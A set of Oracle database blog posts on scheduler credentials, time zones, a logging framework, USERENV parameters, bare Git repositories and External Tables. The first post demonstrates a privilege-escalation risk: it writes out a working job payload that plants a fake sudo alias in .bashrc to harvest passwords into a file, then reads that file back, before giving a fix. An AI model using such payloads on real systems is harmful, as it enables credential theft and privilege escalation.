The Anti-Kyte

In a recent post, Connor McDonald showed how to setup and use the SQL_SCRIPT scheduler job type to run SQL*Plus directly from the database.
Connor’s example enabled this functionality for a specific individual ( SCOTT) who already knew the Oracle OS account’s password and was therefore able to create a credential based on that user.
But what if we want to incorporate scheduler executed SQL*Plus scripts into an application, rather than just making it available to an individual ?

Tweaking Connor’s example, I’m going to attempt to :

• grant permissions on a credential to another user
• use the connect_credential_name job attribute to avoid hard-coding passwords
• explore the potential problem with using the oracle OS user as the object of a credential
• set up a Linux account to base the credential on instead

The environment I’m using is an Oracle Developer Day VM running Oracle Enterprise Edition 19c on Oracle Linux 7.6.

Yes, Credentials are database objects, and as such are grantable. So, as a user with the CREATE CREDENTIAL privilege …

begin
    dbms_credential.create_credential
    (
        credential_name => 'ORACLE_OS_CREDENTIAL',
        username => 'oracle',
        password => 'ThisisownlyknowntotheDBAhon3st!'
    );
end;
/

grant execute on oracle_os_credential to hr;

We can also use a credential to connect to the database whilst in a SQL_SCRIPT job.
In this case, we need to include the database connect string in the username :

begin
    dbms_credential.create_credential
    (
        credential_name => 'HR_DB_CREDENTIAL',
        username => 'hr@orcl',
        password => 'Mysupersecrethrpassw0rd!',
    );
end;
/

grant execute on hr_db_credential to hr;

If the application we’re dealing with involves lots of batch jobs and file wrangling, the application owner schema may already have the required privileges. If not, then we would need to grant them :

grant create job, create external job to hr;

If we now connect as HR, we can see the credentials…

select owner, credential_name, username, enabled
from all_credentials
/

OWNER           CREDENTIAL_NAME                USERNAME        ENABLED        
--------------- ------------------------------ --------------- -----------
MIKE            ORACLE_OS_CREDENTIAL           oracle          TRUE           
MIKE            HR_DB_CREDENTIAL               hr@orcl         TRUE           

…as well as the privileges…

select privilege
from user_sys_privs
where privilege like '%JOB%';

PRIVILEGE                               
----------------------------------------
CREATE EXTERNAL JOB
CREATE JOB

Now HR can run a job to test the setup…

declare
    v_job_name varchar2(128) := 'HR_TEST_JOB1';
    v_script varchar2(32767);
begin
    -- SQL*Plus statements included, but no connect string
    v_script := q'[
        column os_user format a20
        column db_user format a20
        column db_name format a20
        select 
            sys_context('userenv', 'os_user') as os_user, 
            sys_context('userenv', 'current_user') as db_user,
            sys_context('userenv', 'db_name') as db_name
        from dual;]';

    -- Jobs are created as DISABLED by default, so it won't run immediately...
    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'SQL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.oracle_os_credential'
    );
    
    -- ...so we have a chance to add a credential to use to connect to the database
    dbms_scheduler.set_attribute
    ( 
        name => v_job_name, 
        attribute => 'connect_credential_name',
        value => 'mike.hr_db_credential'
    );
    
    -- now run the job
    dbms_scheduler.enable(v_job_name);
end;
/

After executing this job, we can see that the test was succesful :

select output
from user_scheduler_job_run_details
where job_name = 'HR_TEST_JOB1'
/       


OUTPUT                                                                                                                            
---------------------------------------------------------------

SQL*Plus: Release 19.0.0.0.0 - Production on Thu Nov 14 18:55:54 2024
Version 19.3.0.0.0

Copyright (c) 1982, 2019, Oracle.  All rights reserved.

SQL> Connected.
SQL> SQL> SQL> SQL> SQL>   2    3    4    5  
OS_USER 	     DB_USER		  DB_NAME   
-------------------- -------------------- --------------------
oracle		     HR 		  ORCL    

SQL> Disconnected from Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.3.0.0.0

However, there is something of a security issue with creating a credential on the oracle os user.

Whilst, in Connor’s example, the user created the credential themselves ( so presumably already “know” the oracle user OS password), that’s not the case here.

That means that we’ve effectively just given HR passwordless access to the database as SYS.

To demonstrate :

declare
    v_job_name varchar2(128) := 'HR_TEST_JOB2';
    v_script varchar2(32767);
begin
    -- No sys password ? No problem !
    v_script := q'[
        conn / as sysdba
        column os_user format a20
        column db_user format a20
        column db_name format a20
        select 
            sys_context('userenv', 'os_user') as os_user, 
            sys_context('userenv', 'current_user') as db_user,
            sys_context('userenv', 'db_name') as db_name
        from dual;]';

    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'SQL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.oracle_os_credential'
    );
    
    -- now run the job
    dbms_scheduler.enable(v_job_name);
end;
/

This time, we’ve hard-coded a connect string rather than using the database user credential. The result is a bit worrying…

OUTPUT                                                                                                                            
------------------------------------------------------------------------------

SQL*Plus: Release 19.0.0.0.0 - Production on Thu Nov 14 19:15:43 2024
Version 19.3.0.0.0

Copyright (c) 1982, 2019, Oracle.  All rights reserved.

SQL> SQL> Connected.
SQL> SQL> SQL> SQL>   2    3    4    5  
OS_USER 	     DB_USER		  DB_NAME   
-------------------- -------------------- --------------------
oracle		     SYS		  orclcdb    

SQL> Disconnected from Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.3.0.0.0

Because the OS connection is as oracle, we can use the “/ as sysdba” connect string to connect as SYS.
It’s also worth bearing in mind that the credential can be used for jobs other than SQL_SCRIPT…

declare
    v_job_name varchar2(30) := 'HR_EXTERNAL';
    v_script varchar2(32767);
    
begin
    v_script := 'whoami';
        
    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'EXTERNAL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.oracle_os_credential',
        enabled => TRUE
    );
end;
/

select output
from user_scheduler_job_run_details
where job_name = 'HR_EXTERNAL'
/

OUTPUT                        
------------------------------
oracle

On this Oracle Linux server, oracle is on the sudoers list, which means HR can do something like this…

set define off
declare
    v_job_name varchar2(30) := 'MWAHAHAHA';
    v_script varchar2(32767);
    
begin
    v_script := q'[/usr/bin/echo "alias sudo='echo -n \"[sudo] password for \$USER: \" && read -s -r password && echo -e \"\\n\" && echo \"\$USER:\$password\" >>/u01/userhome/oracle/stohelit.txt; echo \$password | $(which sudo) -S \$@'" >> /u01/userhome/oracle/.bashrc]';
        
    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'EXTERNAL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.oracle_os_credential',
        enabled => TRUE
    );
end;
/

…which adds an alias for sudo to the oracle users .bashrc…

cat .bashrc
alias sudo='echo -n "[sudo] password for $USER: " && read -s -r password && echo -e "\n" && echo "$USER:$password" >>/u01/userhome/oracle/stohelit.txt; echo $password | /usr/bin/sudo -S $@'

This executes the next time anyone runs a sudo command whilst connected as oracle…

[oracle@localhost oracle]$ sudo ls -l
[sudo] password for oracle: 

Meaning that the oracle OS password is saved into a file called stohelit.txt and can be retrieved by running something like :

declare
    v_job_name varchar2(30) := 'UNLIMITED_POWER';
    v_script varchar2(32767);
    
begin
    v_script := 'ho /usr/bin/cat /u01/userhome/oracle/stohelit.txt';
        
    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'SQL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.oracle_os_credential',
        enabled => TRUE
    );
end;
/

select output
from user_scheduler_job_run_details
where job_name = 'UNLIMITED_POWER'
/

With the password, it’s now possible to run commands as root ( using sudo).

Clearly, a rethink is required…

revoke execute on oracle_os_credential from hr;

What we need is an OS user who isn’t oracle. But what else do we need to do to make an account suitable for running SQL_SCRIPT jobs as ?
It turns out, that the minimum requirement is simply a password.
If the application already has an OS user associated with it, then you can use that.
If not then we need to create one.

Remember, in my case, I’m on Oracle Linux so it’s just a matter of…

sudo useradd -m hr_etl
sudo passwd hr_etl

…and that’s it.

The new account doesn’t even need to have the SQL*Plus executable in it’s $PATH…

[hr_etl@localhost ~]$ sqlplus /nolog
bash: sqlplus: command not found...

To demonstrate, we’ll connect to the database as the user with the CREATE CREDENTIAL privilege and …

begin
    dbms_credential.create_credential
    (
        credential_name => 'HR_ETL_OS_CREDENTIAL',
        username => 'hr_etl',
        password => 'Y3tanothercompl!catedpassword'
    );
end;
/

grant execute on hr_etl_os_credential to hr;

Now connected to the database as HR we use the new credential.

declare
    v_job_name varchar2(128) := 'HR_TEST_JOB3';
    v_script varchar2(32767);

begin
    -- SQL*Plus statements included, but no connect string
    v_script := q'[
        column os_user format a20
        column db_user format a20
        column db_name format a20
        select 
            sys_context('userenv', 'os_user') as os_user, 
            sys_context('userenv', 'current_user') as db_user,
            sys_context('userenv', 'db_name') as db_name
        from dual;]';
        
    -- Using the new credential...
    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'SQL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.hr_etl_os_credential'
    );
    
    dbms_scheduler.set_attribute
    ( 
        name => v_job_name, 
        attribute => 'connect_credential_name',
        value => 'mike.hr_db_credential'
    );
    
    dbms_scheduler.enable(v_job_name);
end;
/

Better still, if we now try to login as SYS using the “/ as sysdba” syntax…

declare
    v_job_name varchar2(128) := 'HR_TEST_JOB4';
    v_script varchar2(32767);
begin
    v_script := q'[
        conn / as sysdba
        column os_user format a20
        column db_user format a20
        column db_name format a20
        select 
            sys_context('userenv', 'os_user') as os_user, 
            sys_context('userenv', 'current_user') as db_user,
            sys_context('userenv', 'db_name') as db_name
        from dual;]';

    dbms_scheduler.create_job
    (
        job_name => v_job_name,
        job_type => 'SQL_SCRIPT',
        job_action => v_script,
        credential_name => 'mike.hr_etl_os_credential'
    );
    
    dbms_scheduler.enable(v_job_name);
end;
/

…Oracle is having none of it…

select output
from user_scheduler_job_run_details
where job_name = 'HR_TEST_JOB4'
/

SQL*Plus: Release 19.0.0.0.0 - Production on Thu Nov 14 20:09:43 2024
Version 19.3.0.0.0

Copyright (c) 1982, 2019, Oracle.  All rights reserved.

SQL> SQL> ERROR:
ORA-01017: invalid username/password; logon denied


SQL> SQL> SQL> SQL>   2    3    4    5  SP2-0640: Not connected
SQL> 

In an application such as this, you’ll probably want to use SQL_SCRIPT to read and write files on the operating system, in which case further configuration will be needed in terms of OS file permissions etc. As far as running the jobs is concerned though, you should be good to go.

The sudo credential exploit above is based on a rather more elegant example in the SUDO_KILLER GitHub Repo.

DBMS_SCHEDULER’s slightly arcane but extremely flexible calendaring syntax allows myriad ways to determine when a batch job should run .
However, there is a limitation when it comes to specifying which time zone should be used by the scheduler.
The documentation says :

The calendaring syntax does not allow you to specify a time zone. Instead the Scheduler retrieves the time zone from the start_date argument. If jobs must follow daylight savings adjustments, then you must specify a region name for the time zone of the start_date. For example specifying the start_date time zone as ‘US/Eastern’ in New York ensures that daylight saving adjustments are automatically applied. If instead, the time zone of the start_date is set to an absolute offset, such as ‘-5:00’, then daylight savings adjustments are not followed and your job execution is off by an hour for half the year.

It goes on to explain that, when the start_date is null, the time zone is determined by ( in descending order of precedence) :

• the time zone set in the current session (if it’s a Region Name)
• the DEFAULT_TIMEZONE scheduler attribute
• the time zone of the SYSTIMESTAMP when the Job (or Window) is enabled

Unfortunately, when setting a start_time for a job from inside another scheduler job, things do not work as expected.
If we were on a new-fangled AI enabled version of Oracle, I’d suspect that DIANA has taken a dislike to me ( maybe it doesn’t like the way I format my code, or something).
However, as I’ve experienced this behaviour on the less judgemental 19c ( and earlier), further digging is probably required…

Let’s begin by confirming that everything works as it should when we setup a job interactively.

To start with, we’ll create a simple scheduler job :

begin
    dbms_scheduler.create_job
    (
        job_name => 'SIMPLE_JOB',
        job_type => 'PLSQL_BLOCK',
        job_action => 'begin null; end;'
    );    
end;
/

We can see at this point that the job has no start_date :

select enabled, state, start_date,
from user_scheduler_jobs
where job_name = 'SIMPLE_JOB'
/

ENABL STATE     START_DATE 
----- --------- -----------
FALSE DISABLED                                                                                    

Let’s check what the current session time zone is set to :

select sessiontimezone from dual;

SESSIONTIMEZONE               
------------------------------
Europe/London

So, if we now set the job start_date…

exec dbms_scheduler.set_attribute('simple_job', 'start_date', to_date('2024-10-22 08:00', 'YYYY-MM-DD HH24:MI'));
exec dbms_scheduler.enable('simple_job');

… the scheduler should use the Session Time Zone :

select enabled, state, start_date
from user_scheduler_jobs
where job_name = 'SIMPLE_JOB'
/
ENABL STATE      START_DATE                                 
----- ---------- ------------------------------------------
TRUE  SCHEDULED  22-OCT-24 08.00.00.000000000 EUROPE/LONDON 

No issues there, let’s see what happens when we…

Let’s start with a clean slate and drop and re-create the job :

exec dbms_scheduler.drop_job('simple_job');

begin
dbms_scheduler.create_job
(
    job_name => 'SIMPLE_JOB',
    job_type => 'PLSQL_BLOCK',
    job_action => 'begin null; end;'
);    
end;
/

This time, we’re going set the start_date for SIMPLE_JOB from another scheduler job :

declare
    v_action varchar2(4000) := 
    q'[
        begin
            dbms_scheduler.set_attribute('simple_job', 'start_date', to_date('2024-11-22 08:00', 'YYYY-MM-DD HH24:MI'));
            dbms_scheduler.enable('simple_job');   
        end;]';    
begin
    dbms_scheduler.create_job
    (
        job_name => 'enable_job',
        job_type => 'plsql_block',
        job_action => v_action
    );
end;
/

Now when we run ENABLE_JOB…

exec dbms_scheduler.run_job('enable_job');

…we can see that the scheduler has ignored the time zone altogether and instead applied an offset to UTC :

select enabled, state, start_date
from user_scheduler_jobs
where job_name = 'SIMPLE_JOB'
/

ENABL STATE                START_DATE                          
----- -------------------- ----------------------------------- 
TRUE  SCHEDULED            22-NOV-24 08.00.00.000000000 +01:00 

Furthermore, the offset specified in the START_DATE value does not match the offset for the Europe/London region for that date:

select extract( timezone_hour from timestamp '2024-11-22 08:00:00.00 Europe/London') 
    as offset_to_utc
from dual;

OFFSET_TO_UTC
-------------
            0

Consequently the job will start an hour later than specified.

If you were paying attention, you’ll know that the fix is RTFM !

Yes, that quote from the documentation above is explicit :

If jobs must follow daylight savings adjustments, then you must specify a region name for the time zone of the start_date.

In other words…

exec dbms_scheduler.drop_job('enable_job');

declare
    v_action varchar2(4000) := 
    q'[
        begin
            dbms_scheduler.set_attribute
            (
                name => 'simple_job', 
                attribute => 'start_date', 
                value => to_timestamp_tz('2024-11-22 08:00 Europe/London', 'YYYY-MM-DD HH24:MI TZR')
            );
            dbms_scheduler.enable('simple_job');   
        end;]';    
begin
    dbms_scheduler.create_job
    (
        job_name => 'enable_job',
        job_type => 'plsql_block',
        job_action => v_action
    );
end;
/

Now, when we run the start_date set job…

exec dbms_scheduler.run_job('enable_job');

…the Region we’ve specified is used …

select enabled, state, start_date
from user_scheduler_jobs
where job_name = 'SIMPLE_JOB'
/

ENABL STATE                START_DATE                                 
----- -------------------- ------------------------------------------ 
TRUE  SCHEDULED            22-NOV-24 08.00.00.000000000 EUROPE/LONDON 

For the moment, I’m going to assume that this is not caused by my reluctance to use commas at the start of the line in a select clause.

I’ve knocked up a procedure which will record the values of the relevant objects and save them to a log table. For this purpose, I’m using the Skippy framework, which will write to the SKIPPY_LOGS table.

NOTE – you will need to have SELECT on DBA_SCHEDULER_GLOBAL_ATTRIBUTE granted directly to the procedure owner for this to compile :

create or replace procedure log_tz_settings
as
    cursor c_tz_settings is
        select 
            sessiontimezone as session_tz,
            value as default_timezone,
            to_char(to_timestamp_tz( systimestamp), 'TZR') as systimestamp_tz
        from dba_scheduler_global_attribute
        where attribute_name = 'DEFAULT_TIMEZONE';
        
    v_settings c_tz_settings%rowtype;
    v_set_list varchar2(4000);
begin
    open c_tz_settings;
    fetch c_tz_settings into v_settings;
    close c_tz_settings;
    
    skippy.add_param('SESSION_TZ', v_settings.session_tz, v_set_list);
    skippy.add_param('DEFAULT_TIMEZONE', v_settings.default_timezone, v_set_list);
    skippy.add_param('SYSTIMESTAMP_TZ', v_settings.systimestamp_tz, v_set_list);
    
    skippy.log(v_set_list);
end;
/

When we execute this procedure in an interactive session, we can see that the values are as expected :

clear screen
set serverout on
exec skippy.enable_output;
exec log_tz_settings;

PL/SQL procedure successfully completed.

SESSION_TZ => Europe/London, DEFAULT_TIMEZONE => PST8PDT, SYSTIMESTAMP_TZ => +01:00

However, if we now add a call to this procedure in the ENABLE_JOB :

exec dbms_scheduler.drop_job('enable_job');

declare
    v_action varchar2(4000) := 
    q'[
        begin
            skippy.set_msg_group('CHECK_TZ_SETTINGS');
            log_tz_settings;
            dbms_scheduler.set_attribute
            (
                name => 'simple_job', 
                attribute => 'start_date', 
                value => to_date('2024-11-22 08:00', 'YYYY-MM-DD HH24:MI')
            );
            dbms_scheduler.enable('simple_job');   
        end;]';    
begin
    dbms_scheduler.create_job
    (
        job_name => 'enable_job',
        job_type => 'plsql_block',
        job_action => v_action
    );
end;
/

…and run it again…

exec dbms_scheduler.run_job('enable_job');

select enabled, state, start_date
from user_scheduler_jobs
where job_name = 'SIMPLE_JOB'
/

NABL STATE                START_DATE                          
----- -------------------- -----------------------------------
TRUE  SCHEDULED            22-NOV-24 08.00.00.000000000 +01:00

When we check the log, we can see that the SESSIONTIMEZONE value is not what we expected :

select message
from skippy_logs
where message_group = 'CHECK_TZ_SETTINGS'
/

MESSAGE                                                                                                                           
---------------------------------------------------------------
SESSION_TZ => +01:00, DEFAULT_TIMEZONE => PST8PDT, SYSTIMESTAMP_TZ => +01:00

Incidentally, the Scheduler Default Timezone (PST8DT) currently has an offset of -7 hours to UTC.

Therefore, we can infer that the SESSIONTIMEZONE value is being used even though it’s an absolute offset rather than a region name in the session that the Scheduler Job is running in.

Oracle provides a list of valid Region Names in the form of V$TIMEZONE_NAMES. For example …

select tzname, tzabbrev
from v$timezone_names
where tzname = 'UTC'
/

TZNAME                                             TZABBREV  
-------------------------------------------------- ----------
UTC                                                GMT       

If we look at the currently defined Region in my session, we can see multiple TZABBREV values that appear to represent daylight savings changes …

select tzname, tzabbrev
from v$timezone_names
where tzname = sessiontimezone
/

TZNAME                                             TZABBREV  
-------------------------------------------------- ----------
Europe/London                                      LMT       
Europe/London                                      GMT       
Europe/London                                      BST       
Europe/London                                      BDST      

Using the built-in TZ_OFFSET function, we can establish the current UTC offset for a Region…

select tz_offset('Europe/London')  from dual;

TZ_OFFS
-------
+01:00

To see which particular abbreviation this offset relates to :

select to_char(current_timestamp, 'TZD') from dual;

TO_CHA
------
BST

If we want to know which particular Timezone abbreviation will apply for any given month in the year, and when they will change, we may need to write something a bit fiddly like :

select 
    to_char( to_date( rownum, 'MM'), 'Month') as "Month",
    -- Using 10:08 as the time because that's what you see in all the watch/clock adverts. Phones too.
    -- This time was apparently chosen because, on an Analog clockface the hands are forming a "smile".
    to_char
    ( 
        to_timestamp_tz 
        (
            extract( year from sysdate)||'-'||
            to_char( lpad( rownum, 2, '0'))||'-'||
            '01 10:08:00 Europe/London', 'YYYY-MM-DD HH24:MI:SS TZR'
        ),
        'TZD'
    ) as "Start of Month TZ Abbreviation",
    to_char
    ( 
        to_timestamp_tz 
        (
            extract( year from sysdate)||'-'||
            to_char( lpad( rownum, 2, '0'))||'-'||
            to_char( last_day( to_date( rownum, 'MM')), 'DD')||
            ' 10:08:00 Europe/London', 'YYYY-MM-DD HH24:MI:SS TZR'
        ),
        'TZD'
    ) as "End of Month TZ Abbreviation"
from dual
connect by rownum <= 12;

What’s that ? You think DIANA may have a point about my code formatting ? Honestly, everyone’s a critic ! Anyhow, the output looks like this :

I bet Tim Hall never has this trouble. Also, his Oracle Base article on setting Time Zones is typically thorough.

I’ve added a feature to the Skippy framework which makes it possible to see log messages in an interactive session, as well as in the log table.
You can find Skippy on GitHub.

Now, Skippy isn’t really into cricket – Rugby League is more of a Kangaroo sport – but I am, which may go some way to explaining the examples that follow.

The England’s continuing Bazball adventure has met with contrasting fortunes over the last week or so.
In this first example, we can see the sort of logging that you might find in long-running scheduler batch jobs :

begin
    skippy.set_msg_group('FIRST_TEST');
    skippy.log('Day 1 : Pakistan 328/4');
    skippy.log('Day 2 : Pakistan 556 all out, England 96/1');
    skippy.log('Day 3 : England 492/3');
    skippy.log('Day 4 : England 823/7 dec, Pakistan 152/6');
    skippy.log('Day 5 : Pakistan 220 all out');
    skippy.log('Result : England win by an innings and 47 runs');
end;
/

After running this, we have to hunt around in the SKIPPY_LOG table to find the log messages :

select log_ts, message
from skippy_logs
where message_group = 'FIRST_TEST'
order by log_ts;

If we want to execute code in an interactive session, we can now read the log messages in the session itself.
To do this :

• enable SERVEROUTPUT in your interactive session so you can see the messages
• call the new SKIPPY.ENABLE_OUTPUT procedure.
• call SKIPPY.DISABLE_OUTPUT to toggle this feature off.

For example…

set serverout on
begin
    skippy.set_msg_group('SECOND_TEST');
    skippy.enable_output;
    skippy.log('Day 1 : Pakistan 259/5');
    skippy.log('Day 2 : Pakistan 366, England 239/6');
    skippy.log('Day 3 : England 291, Pakistan 221, England 36/2');
    skippy.log('Day 4 : ERROR - England batting failed 144 all out');
    skippy.log('Result : Pakistan win by 152 runs');
    -- optionally turn output off
    skippy.disable_output;
end;
/

As well as outputting to the screen, SKIPPY still writes the log messages to the table.

The USERENV namespace lurks in one of the darker corners of your Oracle Databse.
In conjunction with the SYS_CONTEXT function, it’s incredibly useful if you want to know what’s happening in your session environment at any given time.
However, the parameters defined for this namespace are locked away beyond the reach of mere mortals, which means you have to rely on the documentation to know which parameters are valid on which version of Oracle.
You might think that’s not really a problem, after all, Oracle Documentation is pretty reliable, right ?
Yes…mostly…

Having grown lazy over the year and decided that I wanted to do as little typing as possible when logging from my PL/SQL code, I wrote a simple framework called Skippy, which is on GitHub, if you’re interested.

One element of Skippy is a simple table which holds a list of all the available parameters for the USERENV namespace and the version from which they are valid. There is also a view – SKIPPY_ENV, which overlays the table and returns values for the parameters which are valid for the Oracle version it’s currently running.

Originally, the parameters listed in the table were gleaned from the Oracle documentation. The most recent examples of which are :

• SYS_CONTEXT on 19c
• SYS_CONTEXT on 23ai

Unfortunately, there are a couple of discrepancies between the documentation and the database.

According to the 19c documentation, CDB_DOMAIN is a valid parameter on 19c, whilst CLOUD_SERVICE is not mentioned.
Meanwhile, IS_APPLICATION_ROOT and IS_APPLICATION_PDB are absent from the 23ai docs, despite them having been around since 19c.

The reality on 19c is that CDB_DOMAIN is not valid, but CLOUD_SERVICE is (tested on an OCI Free Tier instance) :

select product, version_full
from product_component_version;

PRODUCT                                            VERSION_FULL        
-------------------------------------------------- --------------------
Oracle Database 19c Enterprise Edition             19.24.0.1.0         

select sys_context('userenv', 'cdb_domain') as cdb_domain from dual; 

…results in…

ORA-02003: invalid USERENV parameter

By contrast…

select sys_context('userenv', 'cloud_service') as cloud_service from dual;

CLOUD_SERVICE       
--------------------
OLTP

select sys_context('userenv', 'is_application_root') as is_application_root from dual;

IS_APPLICATION_ROOT 
--------------------
NO

select sys_context('userenv', 'is_application_pdb') as is_application_pdb from dual;

IS_APPLICATION_PDB  
--------------------
NO

Meanwhile, it appears that IS_APPLICATION_ROOT and IS_APPLICATION_PDB are still valid on 23ai. This time, I’ve tested on a VirtualBox Dev Day Appliance :

select product, version_full
from product_component_version;

PRODUCT                                            VERSION_FULL        
-------------------------------------------------- --------------------
Oracle Database 23ai Free                          23.4.0.24.05        

select sys_context('userenv', 'is_application_root') as is_application_root from dual;

IS_APPLICATION_ROOT 
--------------------
NO

select sys_context('userenv', 'is_application_pdb') as is_application_pdb from dual;

IS_APPLICATION_PDB  
--------------------
NO

CDB_DOMAIN has also made an appearance in this version :

select sys_context('userenv', 'cdb_domain') as cdb_domain from dual; 

CDB_DOMAIN          
--------------------

CLOUD_SERVICE is still kicking around :

select sys_context('userenv', 'cloud_service') as cloud_service from dual;

CLOUD_SERVICE       
--------------------

I’ve submitted comments on the appropriate documentation pages but I can’t see any way to track the response or progress on these.

Fortunately, for me, my friendly neighbourhood marsupial has now got this covered, but it’s something you may want to keep an eye out for if you maintain you’re own list of Userenv Parameters.

When working in a large IT department, there are times when you feel a bit like a Blue Peter presenter.
For example, there may be a requirement to colloborate with other programmers on a project but, for whatever reason, you do not have access to a hosting platform ( Github, Bitbucket, Gitlab – pick you’re favourite).

What you do have is a network share to which you all have access, and Git installed locally on each of your machines.

This can be thought of as the technical equivalent of an empty washing-up bottle, a couple of loo rolls and some sticky back plastic.
Fortunately, this represents the raw materials required to construct a Tracey Island or – in this case – a Bare Git Repo to act as the main repository for the project…

The Repository we want to share looks like this :

To create the main repository on the share, we can open a command window and create the directory to hold the repository on the share ( which is mapped to Z:\ in my case) :

mkdir z:\blue_peter

…then navigate to the new directory and create a Bare Repo …

git init --bare

You can then populate the repo with the existing project.

git remote add origin z:\blue_peter
git push origin main

NOTE – it could be because I was doing this on a VM, but when I first ran the push, I got an error about the ownership of the shared directory :

This can be solved by running :

git config --global --add safe.directory z:blue_peter

Looking at the files in our new main repo, we can see that it’s not shown as individual files, as you’d expect in a normal repo :

However, we can access the contents via Git in the normal way.
For example, I can now clone the repository to a different location. In real-life this would be a completely different client, but I’ve run out of VMs !

git clone z:\blue_peter

Side Note – Once again, I hit the dubious ownership issue :

Anyhow, we can see the files as usual in the cloned repo :

…and the repository now behaves as expected. If we make a change and push it…

We can pull the repo in another “client” :

After all that, I think you’ve earned a Blue Peter Badge.

I like to think that I’m not completely useless in the kitchen. A pinch of this, a dash of that and a glug of what you fancy ( which may or may not make it’s way into whatever I’m cooking) and the result is usually edible at least.
That said, the combination of precise quantities of substances by means of closely controlled chemical reactions is more Deb’s forte.
The result is usually delicious. Being traditionalists in our house, we do like to follow the time-honoured bake-off format and have a judging session of the finished article. We think of it as the Great British Cake Scoff.
However satisfying the act of culinary creation may be, there are times when you just want something you need to stick in the microwave for 2 minutes.
Which brings us to the matter of Oracle External Tables.

When they first arrived, External Tables provided an easy way to load data from a file directly into the database without all that messing about with SQL*Loader.
Of course, there were some limitations. If you wanted to point an external table at a file, you’d have to issue an alter table statement to set it ( and possibly the directory as well).
This meant that External Table access had to be serialized to ensure that it was pointed at the correct file until you were finished with it.
If you find yourself switching between Oracle versions, it’s worth remembering that, these days, things are a little different, thanks to the EXTERNAL MODIFY, which arrived in 12c.

What I’ll be looking at here is whether External tables can now be used concurrently in different sessions, accessing different files.

I’ll also explore the EXTERNAL MODIFY clause’s aversion to bind variables and how we might work around this securely in PL/SQL.

The examples that follow were run on an Oracle Developer Day Virtual Box instance running Oracle 19.3.

We have a directory…

create or replace directory recipies_dir as '/u01/app/recipies';

…which contains some text files…

ls -1
debs_lemon_drizzle_cake.txt
mikes_beans_on_toast.txt

…and a simple external table to read files…

create table nom_nom_xt 
(
    line number,
    text varchar2(4000)
)
organization external
(
    type oracle_loader
    default directory upload_files
    access parameters 
    (
        records delimited by newline
        nologfile
        nobadfile
        nodiscardfile
        fields terminated by '~'
        missing field values are null
        (
            line recnum,
            text char(4000)
        )
    ) 
    location('')
)
reject limit unlimited
/

You’ll notice that I’ve specified the default directory as this is mandatory. However the location (i.e. the target file) is currently null.
Now, in the olden days, we’d have to issue a DDL statement to set the location before we could look at a file.
Since 12c however, we have the EXTERNAL MODIFY clause, so we can do this directly in a query :

select text   
from nom_nom_xt 
    external modify 
    ( 
        default directory recipies_dir 
        location('mikes_beans_on_toast.txt')
    )
/

Alternatively…

select text
from nom_nom_xt 
    external modify
    ( 
        location(recipies_dir:'debs_lemon_drizzle_cake.txt')
    )
/

After running these statments, we can see that the EXTERNAL MODIFY clause has had no effect on the table definition itself :

select directory_name, location
from user_external_locations
where table_name = 'NOM_NOM_XT';

Looking at the EXTERNAL MODIFY clause, it would seem that External Tables should now behave like Global Temporary Tables in that, whilst their structure is permanent, the data they contain is session specific.

Let’s put that to the test.
First of all, I’m going to take advantage of the fact I’m on Linux ( Oracle Linux Server 7.6 since you ask) and generate a text file from /usr/share/dict/words – a file that contains a list of words.

In the recipies directory on the os :

for i in {1..100}; do cat /usr/share/dict/words >>alphabet_soup.txt; done
cat alphabet_soup.txt >alphabetty_spaghetti.txt

I now have two rather chunky text files :

ls -lh alphabet*
-rw-r--r--. 1 oracle oinstall 473M May 27 14:25 alphabet_soup.txt
-rw-r--r--. 1 oracle oinstall 473M May 27 14:26 alphabetty_spaghetti.txt

…containing just under 48 million lines each…

cat alphabet_soup.txt |wc -l
47982800

Using the single external table, I’m going to load each file into a separate table in separate sessions.

The script for session 1 is :

set worksheetname Soup
column start_time format a10
column end_time format a10

-- Check that this is a different session from "session 2"
select sys_context('userenv', 'sessionid') from dual;

-- Give me time to switch sessions and start the other script
exec dbms_session.sleep(2);

select to_char(sysdate, 'HH24:MI:SS') as start_time from dual;

set timing on
create table alphabet_soup as 
    select *
    from nom_nom_xt external modify( default directory recipies_dir location('alphabet_soup.txt'));

set timing off

select to_char(sysdate, 'HH24:MI:SS') as end_time from dual;

select count(*) from alphabet_soup;

In session 2 :

set worksheetname Spaghetti
column start_time format a10
column end_time format a10

-- Check that this is a different session from "session 1"
select sys_context('userenv', 'sessionid') from dual;

select to_char(sysdate, 'HH24:MI:SS') as start_time from dual;

set timing on
create table alphabetty_spaghetti as 
    select *
    from nom_nom_xt external modify( default directory recipies_dir location('alphabetty_spaghetti.txt'));

set timing off
select to_char(sysdate, 'HH24:MI:SS') as end_time from dual;

select count(*) from alphabetty_spaghetti;

Note – the set worksheetname command is SQLDeveloper specific.

The results are…

SYS_CONTEXT('USERENV','SESSIONID')                                                                                                                                                                                                                              
------------------------------------
490941


PL/SQL procedure successfully completed.


START_TIME
----------
14:45:08


Table ALPHABET_SOUP created.

Elapsed: 00:01:06.199

END_TIME  
----------
14:46:15


  COUNT(*)
----------
  47982800

SYS_CONTEXT('USERENV','SESSIONID')                                                                                                                                                                                                                              
-----------------------------------
490942


START_TIME
----------
14:45:09


Table ALPHABETTY_SPAGHETTI created.

Elapsed: 00:01:08.043

END_TIME  
----------
14:46:17


  COUNT(*)
----------
  47982800

As we can see, the elapsed time is almost identical in both sessions. More importantly, both sessions’ CTAS statements finished within a couple of seconds of each other.
Therefore, we can conclude that both sessions accessed the External Table in parallel.

Whilst this does represent a considerable advance in the utility of External Tables, there is something of a catch when it comes to using them to access files via SQL*Plus…

A common use case for External Tables tends to be ETL processing. In such circumstances, the name of the file being loaded is likely to change frequently and so needs to be specified at runtime.
It’s also not unusual to have an External Table that you want to use on more than one directory ( e.g. as a log file viewer).
